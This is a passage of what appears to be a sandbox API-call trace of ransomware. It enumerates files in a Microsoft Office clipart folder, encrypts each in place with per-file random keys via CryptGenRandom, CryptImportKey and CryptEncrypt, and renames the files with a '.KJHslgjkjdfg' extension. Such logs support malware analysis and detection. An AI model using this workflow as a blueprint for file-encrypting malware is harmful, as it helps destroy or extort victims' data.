1 [0182.363] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.363] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.363] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.364] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.364] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.364] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.364] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3ef0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3ef0, lpOverlapped=0x0) returned 1 [0182.365] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ef0) returned 1 [0182.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.365] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ef0, lpOverlapped=0x0) returned 1 [0182.365] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.365] SetEndOfFile (hFile=0x130) returned 1 [0182.369] GetProcessHeap () returned 0x990000 [0182.369] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.369] GetProcessHeap () returned 0x990000 [0182.369] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.kjhslgjkjdfg")) returned 1 [0182.376] CloseHandle (hObject=0x130) returned 1 [0182.376] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0182.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.377] GetProcessHeap () returned 0x990000 [0182.377] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.378] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.378] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0182.380] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.380] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.380] GetProcessHeap () returned 0x990000 [0182.380] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.380] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.380] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.380] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.381] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.381] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.381] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.381] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.381] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.381] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.381] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4124, lpOverlapped=0x0) returned 1 [0182.383] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4130, dwBufLen=0x4130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4130) returned 1 [0182.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.383] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4130, lpOverlapped=0x0) returned 1 [0182.383] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.383] SetEndOfFile (hFile=0x130) returned 1 [0182.386] GetProcessHeap () returned 0x990000 [0182.386] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.386] GetProcessHeap () returned 0x990000 [0182.386] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.kjhslgjkjdfg")) returned 1 [0182.392] CloseHandle (hObject=0x130) returned 1 [0182.392] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0182.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.393] GetProcessHeap () returned 0x990000 [0182.393] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.393] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.393] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.395] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.395] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.395] GetProcessHeap () returned 0x990000 [0182.395] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.395] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.395] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.395] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.396] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.396] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.396] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.396] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.396] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.396] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.396] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x687c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x687c, lpOverlapped=0x0) returned 1 [0182.397] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6880, dwBufLen=0x6880 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6880) returned 1 [0182.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.398] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6880, lpOverlapped=0x0) returned 1 [0182.398] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.398] SetEndOfFile (hFile=0x130) returned 1 [0182.401] GetProcessHeap () returned 0x990000 [0182.401] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.401] GetProcessHeap () returned 0x990000 [0182.401] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.kjhslgjkjdfg")) returned 1 [0182.408] CloseHandle (hObject=0x130) returned 1 [0182.408] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0182.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.409] GetProcessHeap () returned 0x990000 [0182.409] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.409] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.409] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.412] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.412] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.412] GetProcessHeap () returned 0x990000 [0182.412] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.412] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.412] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.412] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.412] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.412] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.412] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.412] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.412] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.412] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.413] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x133c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x133c, lpOverlapped=0x0) returned 1 [0182.414] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1340, dwBufLen=0x1340 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1340) returned 1 [0182.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.414] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1340, lpOverlapped=0x0) returned 1 [0182.414] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.414] SetEndOfFile (hFile=0x130) returned 1 [0182.417] GetProcessHeap () returned 0x990000 [0182.417] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.417] GetProcessHeap () returned 0x990000 [0182.417] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.417] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.kjhslgjkjdfg")) returned 1 [0182.424] CloseHandle (hObject=0x130) returned 1 [0182.424] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0182.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.426] GetProcessHeap () returned 0x990000 [0182.426] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.426] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0182.429] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.429] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.429] GetProcessHeap () returned 0x990000 [0182.429] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.429] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.429] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.429] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.431] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.431] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.431] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.431] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.431] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.431] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 